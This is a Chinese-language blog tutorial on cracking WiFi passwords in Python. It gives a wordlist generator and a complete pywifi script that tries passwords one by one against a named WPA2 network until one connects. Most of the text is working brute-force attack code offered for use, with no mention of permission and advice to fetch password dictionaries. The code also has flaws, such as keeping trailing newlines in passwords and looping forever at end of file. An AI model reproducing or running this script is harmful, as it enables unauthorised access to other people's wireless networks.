Python穷举法连接WiFi

【第一步:安装模块】

1.首先在终端里面安装pywifi库

pip install pywifi

Python穷举法连接WiFi_第1张图片

2.安装comtypes

pip install comtypes

Python穷举法连接WiFi_第2张图片

想要实现穷举法破解 WiFi pywifi 和 comtypes 这两个模块都要添加,上面都完成后就可以开始写代码了

【第二步:设备要求】

方案一:如果是台式电脑 ,需要插网卡(长得像U盘的那种)

方案二:如果是笔记本电脑(不需要另外插网卡,本身自带)

【第三步:代码实现】

小测试:

import pywifi
from pywifi import const

# 第一个案例
def gic():
    # 创建一个无线对象
    wifi = pywifi.PyWiFi()
    #获取到第一个无线网卡
    ifaces = wifi.interfaces()[0]
    # 打印网卡名称
    # print(ifaces.name())
    # 列表
    print(ifaces)
    # 打印网卡的连接状态
    # print(ifaces.status())  连接到的状态码:4  未连接到的状态吗:0
    if ifaces.status() == const.IFACE_CONNECTED:   # 这里可以直接写 4 但是别人看不懂
        print("已连接")
    else:
        print("未连接")
# gic()

# 第二个案例  扫描附近的 WiFi
def bies():
    wifi = pywifi.PyWiFi()
    ifaces = wifi.interfaces()[0]
    # 扫描WiFi
    ifaces.scan()
    # 获取扫描结果
    result = ifaces.scan_results()
    for name in result:
        # ssid 是 wifi的名称 扫描出来不一定有结果,特别是台式电脑
        print(name.ssid)

bies()

密码生成器代码:

这个效果肯定是不行的,只是做测试来使用,建议上网找一些字典,然后把密码文本载进去

import itertools as its  # 迭代器 ;as 是重命名


words = "1234567890"  # 这里改成英文,那结果就是英文组合的密码
r = its.product(words,repeat=5)
dic = open("pass.txt","a") # a 模式,在文件后面追加,没有就创建
for i in r:
    # i 是个元组,不能直接写进文件里
    dic.write("".join(i))
    dic.write("".join("\n"))
dic.close()


 

完整代码:

import pywifi
from pywifi import const
import time

# 1.导入模块
# 2.抓取网卡接口,一般抓第一个,而且电脑一般只有一个无线网卡
# 3.先断开自己的WiFi 否则会出现问题
# 4.进行破解读取密码本
# 5.测试连接
# 6.设置睡眠时间(延时)

# 测试连接 返回连接结果
def wificonnect(pwd):
    # 抓取网卡接口  是个类
    wifi = pywifi.PyWiFi()
    # 获取第一个无线网卡
    ifaces = wifi.interfaces()[0]
    # 断开自己的 wifi
    ifaces.disconnect()
    time.sleep(1)
    wifistatu = ifaces.status()  #接收连接状态
    # print(const.IFACE_DISCONNECTED) DISCONNECTED:未连接的
    if wifistatu == const.IFACE_DISCONNECTED:
        # print("未连接")
        # 创建新的WiFi连接文件
        profile = pywifi.Profile()
        # 要连接wifi的名称,前面的扫描就是为这一步做铺垫
        profile.ssid = "CMCC-sx3N"
        # 网卡的开放状态
        profile.auth = const.AUTH_ALG_OPEN
        # wifi加密算法
        profile.akm.append(const.AKM_TYPE_WPA2PSK)
        # 加密单元
        profile.cipher = const.CIPHER_TYPE_CCMP
        # 密码
        profile.key = pwd
        # 删除所有的WiFi连接文件(把之前连接过的文件全部删除)
        ifaces.remove_all_network_profiles()
        # 设定新的连接文件
        tep_profile = ifaces.add_network_profile(profile)
        # 用新的连接文件 去测试连接
        ifaces.connect(tep_profile)
        # wifi 连接时间
        time.sleep(4)
        if ifaces.status() == const.IFACE_CONNECTED:
            return True
        else:
            return False
    else:
        print("已连接")

# wificonnect()


def readPassword():
    print("开始破解:")
    # 读取密码本的路径
    path = ".\pass.txt"
    # 打开文件
    file = open(path,"r")
    # 写死循环,目的是一直去试密码
    while True:
        # 读取文件正确执行 try ;错误执行 except
        try:
            # readline 读取一行
            passStr = file.readline()
            bool = wificonnect(passStr)
            if bool:
                print("密码正确",passStr)
                # 跳出当前循环
                break
            else:
                print("密码不正确",passStr)
        except:
            # 跳出本次循环,直接进入下次循环
            continue

readPassword()

这里注意一下,如果不需要自己写密码生成器的话,直接创建新项目,在main.py(我把他名字改成:wifi_test1.py)里直接写完整代码就行了。

还有就是台式连网线的用这种方法是不会成功的,必须要拔掉网线插网卡。

你可能感兴趣的:(【Python】,pycharm,python,wifi)